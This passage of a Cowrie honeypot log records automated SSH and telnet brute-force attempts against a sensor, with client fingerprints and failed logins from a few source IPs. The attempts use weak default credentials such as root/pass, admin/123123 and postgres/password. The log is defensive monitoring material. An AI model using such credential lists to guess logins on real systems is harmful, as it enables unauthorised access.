-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:28.739352Z","src_ip":"176.65.132.254","session":"0fc07210e34c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:28.988749Z","src_ip":"176.65.132.254","session":"0fc07210e34c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:30.073788Z","src_ip":"176.65.132.254","session":"0fc07210e34c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37010,"dst_ip":"10.17.0.5","dst_port":22,"session":"d811ad83bd02","protocol":"ssh","message":"New connection: 176.65.132.254:37010 (10.17.0.5:22) [session: d811ad83bd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:32.571540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:32.576275Z","src_ip":"176.65.132.254","session":"d811ad83bd02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:32.658099Z","src_ip":"176.65.132.254","session":"d811ad83bd02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:32.942134Z","src_ip":"176.65.132.254","session":"d811ad83bd02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:34.044400Z","src_ip":"176.65.132.254","session":"d811ad83bd02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.75917720794678,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:34.242176Z","src_ip":"134.209.8.29","session":"3282d98ff044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.601301193237305,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:36.396325Z","src_ip":"134.209.8.29","session":"90078252ef40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37026,"dst_ip":"10.17.0.5","dst_port":22,"session":"a94cd209fb6f","protocol":"ssh","message":"New connection: 176.65.132.254:37026 (10.17.0.5:22) [session: a94cd209fb6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:36.681521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:36.689224Z","src_ip":"176.65.132.254","session":"a94cd209fb6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:36.770499Z","src_ip":"176.65.132.254","session":"a94cd209fb6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:37.021536Z","src_ip":"176.65.132.254","session":"a94cd209fb6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.15289354324341,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:38.105450Z","src_ip":"38.54.119.93","session":"40c9f2809154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:38.284413Z","src_ip":"176.65.132.254","session":"a94cd209fb6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37042,"dst_ip":"10.17.0.5","dst_port":22,"session":"739b16e38ccb","protocol":"ssh","message":"New connection: 176.65.132.254:37042 (10.17.0.5:22) [session: 739b16e38ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:40.639799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:40.645302Z","src_ip":"176.65.132.254","session":"739b16e38ccb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:40.727041Z","src_ip":"176.65.132.254","session":"739b16e38ccb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:40.972136Z","src_ip":"176.65.132.254","session":"739b16e38ccb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:42.057101Z","src_ip":"176.65.132.254","session":"739b16e38ccb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40630,"dst_ip":"10.17.0.5","dst_port":22,"session":"b850770285a5","protocol":"ssh","message":"New connection: 176.65.132.254:40630 (10.17.0.5:22) [session: b850770285a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:44.444880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:44.449274Z","src_ip":"176.65.132.254","session":"b850770285a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:44.531580Z","src_ip":"176.65.132.254","session":"b850770285a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:44.778806Z","src_ip":"176.65.132.254","session":"b850770285a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:45.881716Z","src_ip":"176.65.132.254","session":"b850770285a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40632,"dst_ip":"10.17.0.5","dst_port":22,"session":"98620d3179dd","protocol":"ssh","message":"New connection: 176.65.132.254:40632 (10.17.0.5:22) [session: 98620d3179dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:48.517128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:48.522074Z","src_ip":"176.65.132.254","session":"98620d3179dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:48.610834Z","src_ip":"176.65.132.254","session":"98620d3179dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:48.856517Z","src_ip":"176.65.132.254","session":"98620d3179dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:50.147536Z","src_ip":"176.65.132.254","session":"98620d3179dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33890,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a17abf1d863","protocol":"ssh","message":"New connection: 176.65.132.254:33890 (10.17.0.5:22) [session: 1a17abf1d863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:52.207585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:52.212451Z","src_ip":"176.65.132.254","session":"1a17abf1d863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:52.294610Z","src_ip":"176.65.132.254","session":"1a17abf1d863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:52.766058Z","src_ip":"176.65.132.254","session":"1a17abf1d863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46824,"dst_ip":"159.203.135.109","dst_port":23,"session":"d10c7ecd0e1c","protocol":"telnet","message":"New connection: 134.209.8.29:46824 (159.203.135.109:23) [session: d10c7ecd0e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:53.027560Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:53.859527Z","src_ip":"176.65.132.254","session":"1a17abf1d863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33892,"dst_ip":"10.17.0.5","dst_port":22,"session":"16434d7059f0","protocol":"ssh","message":"New connection: 176.65.132.254:33892 (10.17.0.5:22) [session: 16434d7059f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:56.441602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:56.446961Z","src_ip":"176.65.132.254","session":"16434d7059f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:56.540371Z","src_ip":"176.65.132.254","session":"16434d7059f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:56.801193Z","src_ip":"176.65.132.254","session":"16434d7059f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60452,"dst_ip":"10.17.0.5","dst_port":23,"session":"59b186da554f","protocol":"telnet","message":"New connection: 38.54.119.93:60452 (10.17.0.5:23) [session: 59b186da554f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:57.081450Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:57.952235Z","src_ip":"176.65.132.254","session":"16434d7059f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.6375555992126465,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:00.718912Z","src_ip":"38.54.119.93","session":"59b186da554f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33906,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2cbd79d51f4","protocol":"ssh","message":"New connection: 176.65.132.254:33906 (10.17.0.5:22) [session: d2cbd79d51f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:00.724807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:00.730362Z","src_ip":"176.65.132.254","session":"d2cbd79d51f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-n